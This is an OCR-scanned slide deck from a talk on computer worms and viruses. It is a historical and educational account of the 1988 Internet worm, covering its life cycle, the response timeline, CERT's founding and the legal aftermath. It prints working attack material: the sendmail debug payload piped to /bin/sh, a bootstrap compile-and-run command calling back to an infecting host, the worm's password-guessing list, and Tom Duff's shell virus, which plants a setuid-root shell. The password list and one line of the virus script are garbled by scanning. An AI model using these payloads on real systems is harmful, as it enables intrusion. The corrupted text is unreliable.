# Worms, Viruses, etc:

Things That Go Bump on the Net

Scott Bradner Harvard University "Everything out there is tied to everything else."

B. Gentry Lee Keynote Talk SHARE 72





WAESN

#### Menagerie:

• Worm:

A program that copies itself from one computer system to another without modifying any programs on the systems.

• Virus:

A program that propagates by installing copies of itself within other programs.

Trojan Horse:

A program that, once on a system, is passive until some user runs it, at which time it employs that user's permissions to attack the system.

• Mole:

A program that has hidden code which is run some time after the program is installed, often after many other runs.

• Time Bomb:

Same as a Mole.

## Viruses:

You have a computer with an auto-dial link. You put the VIRUS program into it and it starts dialing numbers at random until it connects to another computer with an auto-dial. The VIRUS program then *injects* itself into the new computer. Or rather, it reprograms the new computer with a VIRUS program of it own ... The second machine then begins to dial phone numbers at random until it connects with a third machine.

You get the picture?

David Gerrold When Harlie Was One © 1972

#### Worms:

Then the answer dawned on him, and he almost laughed. (... He had) turned loose in the contintental net a self-perpetuating tapeworm, ... It could take days to kill a worm like that, and sometimes weeks.

> John Brunner Shockwave Rider

> > © **1975**

#### Quote:

#### Truth? What is truth?

"Most computer technicians refer to the virus as a "worm" because the infecting program did not destroy data, but was only designed to reproduce and attach itself to other computer systems. Since most people commonly refer to the infection as a virus, for the purposes of this report we will use the term virus instead of worm."

> Study of Computer Virus and Network Security at Harvard Internal Audit Department Harvard University January 6, 1989

# Immunity:

- IBM Christmas virus
- West German "Hackers" on VMS
- Internet Worm, UNIX<sup>™</sup> computers
- VMS "Merry Christmas" virus
- nVIR on Macintosh
- 100,000 computers in 14 months

# What do the money men think?

- 87% of execs say that security major concern
- 40% of businesses susceptible
- 28% plan to use virus dectection software
- 17% unintended use of network is an important issue
- 11% loss of message integrity important
- 16% \$1-\$50,000 loss/year due to malicious acts
- 5% <\$1M
- 2% >\$1M

Ernst & Whinney survey Network World - 7/3/89

#### Quote:

What the hell is going on here?

"We are under attack from an Internet VIRUS. It has hit UC Berkeley, UC San Diego, Lawrence Livermore, Stanford, and NASA Ames."

> Peter Yee TCP/IP mailing list Nov 2 1989, 11:28 pm

# Case study: "The Internet Worm"

- Internet now has more than 118,000 hosts
- Iarge % run UNIX<sup>™</sup>
- most of the UNIX<sup>™</sup> machines are VAXs or SUNs
- Nov 2nd worm attacked VAXs running Berkeley UNIX and SUNs
- unknown number of computers infected
   "most" of Stanford's 2500 UNIX<sup>™</sup> computers
- widespread press coverage
- "heightened awareness"
- \$98 million in downtime (Network World)



.....

#### Quote:

#### Beware the golem

"He is actually engaged in a conflict with his creature, in which he may very well lose the game. And yet his creature was made by him according to his own free will, and would seem to derive all its possibility of action from [ its creator ] himself."

> God & Golem, Inc. Norbert Wiener © 1964

# What It Did:

- spread like crazy
- loaded down computers with many concurrent copies
- crashed some machines by overflowing kernel tables or disk space
- hid its intentions and thereby generated panic

#### Quote:

. Sente dat Standaus datas estas

In the heat of the battle, now what?

"Clever, nasty, and definitely anti-social. How do we track who did it?"

> Gene Spafford posting Nov 3 1988, 10:36am

# What It Did Not Do:

- did not delete or modify files
- did not write anywhere on disk other than /usr/tmp
- did not install time bombs or trojan horses
- did not record cracked passwords
- did not transmit cracked passwords
- did not use superuser privilege if root password cracked
- did not propagate except by TCP/IP

#### The life cycle of the worm: bootstrap

- The source for a 99 line C program is sent by infecting machine to the target machine.
- Commands are sent to compile the source.
- Commands are sent to start the bootstrap with command line options pointing back to the infecting machine.
- The bootstrap program zeroes its argument list.
  - unlinks itself.
  - forks with the old process exiting.
- A connection is opened back to the infecting machine.

# The life cycle of the worm: setup

• A challenge is exchanged.

The bootstrap exits if challenge fails.

- Two object files for each type of cpu transferred over and stored on /usr/tmp.
  - Space in code for 20 cpu types.
- The bootstrap replaces itself with a shell passing on the connections to the infecting machine.
- The infecting machine then sends over some commands.
  - A set of the object files for a cpu type is compiled given the output name 'sh' if there is not one.
  - If the compilation fails, the other set is tried.
  - If both sets fail, all files are removed and the connection is dropped.
  - Otherwise the compiled worm is started and the connection is dropped.

### The life cycle of the worm: startup

- The worm zeros its argument vector.
  - reads into memory all object files.
  - reads into memory bootstrap source.
  - removes the object files.
  - removes bootstrap source.
  - sets its "name" to "sh".
  - removes its executable.
  - turns off core dumps.

In the heat of battle - 2, there will always be a bureaucracy

"Boy, life is getting interesting. And here I am having to fill out my yearly 'Authorization for Access to Outside Networks' form."

> Frederick Avolio posting Nov 3 11:30 pm

# The life cycle of the worm: initialization

- The worm finds all network interfaces.
  - gateways to other nets
  - changes its process group.
  - forks and kills its parent.
- goes to "doit"

# The life cycle of the worm: doit

- Six out of 7 times the worm sees if it can find other worms already running on this host.
  - if it finds one, one will die.
- once in 15 times runs code to send a byte to 128.32.137.13
- starts main loop

# The life cycle of the worm: main loop

- calls "cracksome"
- listens for other worms for 30 sec.
- forks and kills parent.
- tries to infect some gateways.
- tries to infect some local hosts.
- sleeps for 2 min.
- loops

#### Quote

# In the heat of battle - 3, expanding horizons

"It was crowded. The phones were ringing. People called from the Navy, the Air Force, from Florida."

> Scott Silvey Berkeley

# The life cycle of the worm: cracksome

- looks at /etc/hosts.equiv
- looks at /.rhosts
- reads password file
- tries "simple" passwords
  - no password
  - user name itself
  - user name appended to itself
  - nickname
  - Iastname with lower case 1st letter
  - lastname reversed
- tries its list of 432 passwords
- tries /usr/dict/words

#### Worm's list of "Common Passwords":

888 alex analog anything aziecs banks beauty beryi broadway carolina cerulean classic condo cretin defoe disnev edinburah elephant enzyme fairway flakes format funaibie ginger gouge hacker hebrides honev ingres iester iulia lambda leland macintosh marty michael morley newton olivetti oxford patricia peter polynomial prince rabbit really rolex rules scotty sheldon singer snoopy springer summer swearer telephone tortoise umesh vertigo whatnot winston vand

e,

Ż.

academia alexander anchor aria azure barber beethoven beverty bumbling caroline change clusters cookie daemon deluge doa edwin elizabeth ersatz felicia float forsythe aabriel alacier graham hamlet heinlein horse inna iixian kathleen lamination lerov mack marvin michelle mozart next olivia pacific penduln philip pondering princeton rachmaninoff rebecca romano ruth secret shiva single soap squires super symmetry temptation tovóta unhappy vicky whiting wisconsin

veilowstone

aerobics algebra andromache ariadne bacchus baritone beloved bicameral burdess cascades charles coffee cooper dancer desperate drought edwina ellen establish fender flower fourier dardner ānu gryphon handlly hello horus innocuous iohnnv kermit larkin lewis maggot master mike nancy noxious oracie painless **beoria** phoenix pork protect rainbow remote ronald sal sensor shivers smile socrates strangle superstage tangerine thailand trails unicorn village whitney wizard vosemite

airplane aliases animals arrow bailev bass benz bob campanile castle charming coke cornelius daniel develop duncan egghead emerald estate fermat flowers fred aarfield golfer *quest* happening help hutchins irishman joseph kernel larry light magic maurice minimum napoleon nutrition orca pakistan percolate . Dierre poster protozoa raindrop rick rosebud saxon serenity shuttle smiles sossina stratford support tape tiger trivial unknown virginia will wombat zap

albany alphabet answer arthur banana bassoon beowulf brenda cantor cat charon collins COUSCOUS danny dieter eader eiderdown enaine eučlid **fidelity** fooloroof friend dauss gorgeous gultar harmonv herbert Imbrogilo isis ioshua kirkland lazanus lisa malcolm mellon minsky nepenthe nyquist orwell bam , bersimmon Dizza . praise pumpkin raleigh ripple rosemary scamper sharks sianature smooch **SDarrows** stuttgart supported target toggle trombone urchin warren william woodwind zimmerman

albatross ama anthropogenic athena bananas batman berkelev brian cardinal cayuga chester commrades creation dave digital oasier eileen engineer evēlyn finite football friahten deorde gorges gumption harold hiawatha Imperial **japa**n udith kniaht lebesque louis mark meriin moguis ness oceanography osiris **Dapers** persona plover precious buneet random robotics roses scheme sharon simon smother spit subway surfer tarragon tomato tubas utility water williamsburg wormwood

albert amorphous anvilė atmosphere bandit bester berliner bridget carmen celtics. ciaar computer creosote december discovery edaes einstein enterprise extension fishers foresight fun aertrude gosling guntis harvev hibernia include **iessica** uggle ladie **ee** lynne markus mets moose network ocelot outlaw password Dete plymouth prelude puppet rascal rochester ruben scott sheffield simple snaich spring SUCCESS suzanne taylor topography tuttle vasant weenie willie yacov

#### Quote

In the heat of battle - 4, calculating costs

"The cost in lost working time of all those sysadmins, as well as the cost of the down time for those who pulled their network connections, just won't fit in my limited mental resources. Whoever pulled this off better have intended real harm; if it was a childish prank done in humour, I'll feel that much more guilty when I tear his arms off. :-(."

> Paul Vixie posting Nov 3, 4:45 pm

# The life cycle of the worm: attacks

for each host

- test to see if it accepts telnet
- try fingerd
- try sendmail
- try rsh
- try rexec

#### for each guessed password

• try rexec

# The life cycle of the worm: fingerd

- exploit a bug in fingerd
- overflow argument pointer
- add in own code
- start up a shell

### The life cycle of the worm: sendmail

- exploit a feature in sendmail
- remote setting of "debug" command
- allows "mail" to program
- mail (commands) sent:

#### debug

mail from: </dev/null>

rcpt to: <"|sed -e '1,/^\$/'d | /bin/sh ; exit 0">

#### data

cd /usr/tmp

cat > x14481910.c <<'EOF'

[ C code for bootstrap ]

EOF

cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481810.c

quit

# The life cycle of the worm: rsh

- start a shell on a remote computer
- if this computer is in its /etc/hosts.equiv
  - does not require a password

아님 지수는

### The life cycle of the worm: rexec

- run a command on a remote computer
- if this computer is in its /etc/hosts.equiv
- or send a logname and password
- start up a shell





# Chronology:

11/2: 5:01 pm	First traces, Cornell, Ithaca NY.
11/2: 6:00 pm	MIT, Cambridge MA.
11/2: 6:24 pm	Rand Corp., Santa Monica CA.
11/2: 7:04 pm	U. Cal. Berkeley, Berkeley CA - Worm first noticed.
11/2: 7:54 pm	U of Maryland, College Park MD
11/2: 8:40 pm	Berkeley staff figure out sendmail & rsh attacks.
11/2: 8:49 pm	U. of Utah, Salt Lake City UT.
11/2: 9:00 pm	"Most" of Stanford's ~2500 computers infected.
11/2: 11:28 pm	First TCP/IP mailing list posting,
	suggests turning off telnet, ftp, finger, rsh & sendmail.
11/3: 12:34 am	Sudduth's TCP/IP posting - all fixes listed but
	does not get through for 26 hours.
11/3: 2:54 am	Berkeley fix for sendmail posted.
	Subject: Virus (READ THIS IMMEDIATELY)
11/3: 5:06 am	Mailing list setup.
11/3: 5:07 am	Fingerd attack figured out by E. Wang but
	message does not get read for 12 hours.
11/3: 6:20 am	Worm "condom" posted.
11/3: 7:00 am	First description of worm's behavior posted.
11/3: 8:12 am	Berkeley posts 2nd set of sendmail fixes.
11/3: 8:30 am	Arpanet/Millnet bridges shutdown, will be down for 24 hrs.
11/3: 3:00 pm	MIT figures out fingerd attack.
11/3: 7:18 pm	Berkeley posts fix for fingerd.
11/4: 11:20 am	
11/4: 12:36 pm	•
11/7:	SUN publishes "fix" for worm holes.

#### Quote:

"Viruses rely on users and system administrators being insufficiently vigilant to prevent them from infiltrating systems"

> Tom Duff Viral Attacks on UNIX<sup>™</sup> System Security USENIX - Winter conf. 1989

"According to virus incident reports as well as network users, weaknesses at host sites included (1) inadequate attention to security, such as poor password management, and (2) systems managers who are technically weak."

> Virus Highlights Need for Improved Internet Management General Accounting Office June 1989

# **Before "The Worm"**

- Berkeley maintains UNIX bug mailing list
- No separate security mailing list.
- Only one vendor has requested to receive list
- Many security bugs have remained unfixed e.g. pgrp bug reported by rtm 5 years ago "CW" reports that sendmail and fingerd bugs were known for years.
- About 6 months BW Berkeley started ucb\_fixes usenet group
- Fixed ftpd posted to ucb\_fixes shortly before Nov 2
- Few vendors distributed fixes for ftpd quickly.

## Quote;

It's déja vu all over again.

"These notes describe how the design of TCP/IP and the 4.2BSD implementation allow users on untrusted and possibly very distant hosts to masquerade as users on trusted hosts."

A Weakness in the 4.2BSD Unix TCP/IP Software. Robert T. Morris Jr. Feb 25 1985

"Concern is mounting among Government experts that the computers storing the nation's secrets are vulnerable to penetration."

> John Markoff New York Times Apr 25 1988

#### Did I say that!

"The notion that we are raising a generation of children so technically sophisticated that they can outwit the best efforts of the security specialists of America's largest corporations and of the military, is utter nonsense.

I wish it were true. That would bode well for the technological future of the country."

Robert T. Morris Congressional Testimony 1983

# Tom Duff's virus

```
#! /bin/sh
(
 for i in * /bin/* /usr/bin/* /u*/*/bin/*
  do
   if sed 1q $i | grep '^#![ ]*/bin/sh'
     then
       if
           grep '^# mark$' $i
         then :
         else trap "/bin/rm -f /tmp/x$$" 0 1 2 13 15
           sed 1q i > /tmp/x
           sed '1d
                /^# mark$/q' $0 >> /tmp/x$$
           sed 1d $i >> /tmp/x$$
           cp /tmp/x$$ $i
       fi
    fi
  done
        ls -1 /tmp/x$$ | grep root
  if
    then rm /tmp/gift
    cp /bin/sh /tmp/gift
   chmod 47777 /tmp/gift
    echo gift | mail td@research.att.com
  fi
 /bin/rm /tmp/x$$
) > /dev/null 2>/dev/null &
#mark
```

# To publish or not to publish.

- Vendors are slow to fix security problems.
- Does publishing a fix just point out the problem on those systems that have not been fixed?
- Some think that the only way to force vendors to fix things is to publish.
- Should there be some way to synchronize the publication of bug fixes?
- Should the code for this worm or other security breaking programs be published?

### The government blames others for not being timely

"In addition, problems were highlighted in developing, distributing, and installing software fixes for known flaws. For example, vendors are not always timely in repairing software holes that may create security vulnerabilities. Further, even when fixes are available, sites may not install them, through either neglect or lack of expertise. In the subsequent intrusions, intruders entered several computer systems by exploiting a known software hole. In one case, the vendor had not supplied the fix for the hole, and in the other, the fix was supplied but not installed."

> Virus Highlights Need for Improved Internet Management General Accounting Office June 1989

# Since "The Worm"

- National Computer Security Center has held meetings.
- NCSC has expressed willingness to "lean" on vendors to distribute security fixes.
- "Strike force" (CERT) organized.
- Bugs in Sun's yp, BSD chfn.
- Still security problems with Sun's distribution.
- Much talk.
- Exploitation of worm "holes" and ftpd bug.
- DCA cut off MILLNET & lied as to why.
- RTM indicted

# **CERT: Computer Emergency Response Team**

- Established by DARPA in mid-November 1988.
- Runs "hot line".
- Broad mandate.
- Intended to support all of the Internet's research users.
- Viewed as a prototype effort.
- Seen as an evolving organization, to be redefined with experience.
- CERT's three main functions are to provide:
  - -- mechanisms for coordinating community response in emergency situations, such as virus attacks or rumors of attacks;
  - -- a coordination point for dealing with information about vulnerabilities and fixes; and
  - -- a focal point for discussion of proactive security measures, coordination, and security awareness among Internet users.

# HOT LINE:

412-268-7090

# The Law:

-- intentionally, without authorization, access a federal computer, or a federally used computer if such access affects the government's operation of the computer;

-- knowingly, and with intent to defraud, access a federal interest computer or exceed authorized access, where such access furthers the intent to defraud and obtains anything of value, unless the object of the fraud and the thing of value consists only of the use of the computer;

or

-- intentionally, without authorization, access and by such conduct alter, damage, or destroy information in any federal interest computer or prevent the authorized use of such computer or information and thereby (A) cause losses aggregating \$1,000 or more to one or more others during any one year or (B) modify or impair, or potentially modify or impair, the medical examination, diagnosis, treatment or care of one or more individuals.

> The Computer Fraud and Abuse Act of 1986 18 U.S.C. 1030

#### The School said. (Block that metaphor?)

"This was not a simple act of trespass analogous to wandering through someone's unlocked house without permission but with no intent to cause damage. A more apt analogy would be the driving of a golf-cart on a rainy day through most houses in a neighborhood. The driver may have navigated carefully and broken no china, but it should have been obvious to the driver that the mud on the tires would soil the carpets and that the owners would later have to clean up the mess."

"Experiments of this kind should be carried out under controlled conditions in an isolated environment. Cornell Computer Science Department faculty would certainly have cooperated in properly establishing such an experiment had they been consulted beforehand."

> The Computer Worm Cornell University Provost Report M. Stewart Lynn, Chair

#### It hurt, but was it good for us?

The issue really turns more on responsibility. Unlike PC viruses that spread via floppies, the recent problem owed to specific and ultimately simple mistakes that could have been (and in retrospect should have been) repaired long ago. The existence of people willing to do bad things to our systems has been demonstrated time and again; it is not enough simply to point out that they are criminals, whether in the legal or a more abstract sense. Rather than writing off the episode as the work of a criminal, we need to give more careful thought to defenses against real criminals. It is worth listening to the conclusions of the New York Times, observers like Peter Neumann, and (yes) Bob Morris Sr. Security can be, and must be, improved, and inveighing against bad guys just won't cut it. Moreover, as I have observed over and over (and not just in this instance), merely reporting security problems does not cause them to be This incident was terribly painful, but it was fixed. necessary, and something like it was inevitable.

> Dennis M. Richie posting Nov 7 1988

#### Yes, but was it right?

"This whole episode should cause us to think about the ethics and laws concerning access to computers. The technology we use has developed so quickly it is not always simple to determine where the proper boundries of moral action may be. Many senior computer professionals started their careers years ago by breaking into computer systems at their colleges and places of employment to demonstrate their expertise. ... As a society we cannot afford the consequences of condoning or encouraging behavior that threatens or damages computer systems. As professionals, computer scientists and computer engineers cannot afford to tolerate the romanticization of computer vandals and computer criminals."

> Eugene H. Spafford The Internet Worm Program: An Analysis Nov 29 1988

# Worries:

- Overreaction that restricts access to computers or networks.
- Blaming UNIX<sup>™</sup>.
- Blaming source access.
- Blaming ethics. (or lack there of)
- Fake security fixes posted.
- Requirements to "validate" software.
- Licensing of computer professionals.

#### "Baby with Bathwater" syndrome.

"The recent 'virus' attack on computers linked to a major research network has led many scientists and campus computing leaders to fear that overreaction by their colleagues, other administrators, and government agencies could be vastly more harmful than the virus itself. Such overreactions could include resistance to linking institutional computers to networks, and failure to invest enough in network research, development, and infrastructure ...."

> Kenneth M. King President EDUCOM Chronicle of Higher Education Nov 30 1988

# Lessons:

- Not all that easy to do, but too easy to do.
- Educational institutions were better prepared to deal with the problem than government or commercial.
- Source access vital.
- Commercial computer vendors have a very hard time treating security bugs as a problem that requires immediate attention.
- We need a reliable way to report security bugs and distribute fixes.
- Dumb passwords are dumb.
- Some system managers will not accept bug fixes until they have a full understanding of the problem and the fix.
- Cutting off sections of network slowed distribution of information and fixes.
- There is a real need for a user and server authentication system like kerberos.

#### The Law is not enough

"We can pass laws that make criminal penalties for unauthorized access to computers but we also need improvements to increase security: It is a sad truth of modern life that laws against burglary will never safegard a home like good locks."

> Senator Patrick J. Leahy (D) Vermont Nov 4 1988

If it had gotten through...

From: foo%bar.arpa@RELAY.CS.NET To: tcp-ip@SRI-NIC.ARPA

A Possible virus report: There may be a virus loose on the internet. Here is the gist of the message I got:

I'm sorry.

Here are some steps to prevent further transmission:

- don't run fingerd, or fix it to not overrun its stack when reading arguments.
- 2) recompile sendmail w/o DEBUG defined
- 3) don't run rexecd

Hope this helps, but more, I hope it is a hoax.

posting to tcp-ip Nov 3 3:34 am

# What if:

- The program was designed for 20 cpu types.
- There are many indications that the version that was let loose was not fully debugged.
- After breaking an account's password, it could spread to non-UNIX<sup>™</sup> computers.
- If it had not loaded down systems it might have been quite a while before it was seen.
- It would have generated even more panic when found.

#### Ain't us fella.

"It turned out that the worm exploited three or four different holes in the system. From this, and the fact that we were able to capture and examine some of the source code, we realized that we were dealing with someone very sharp, probably not someone here on campus."

> Dr. Richard LeBlanc Georgia Tech quoted in "The Technique"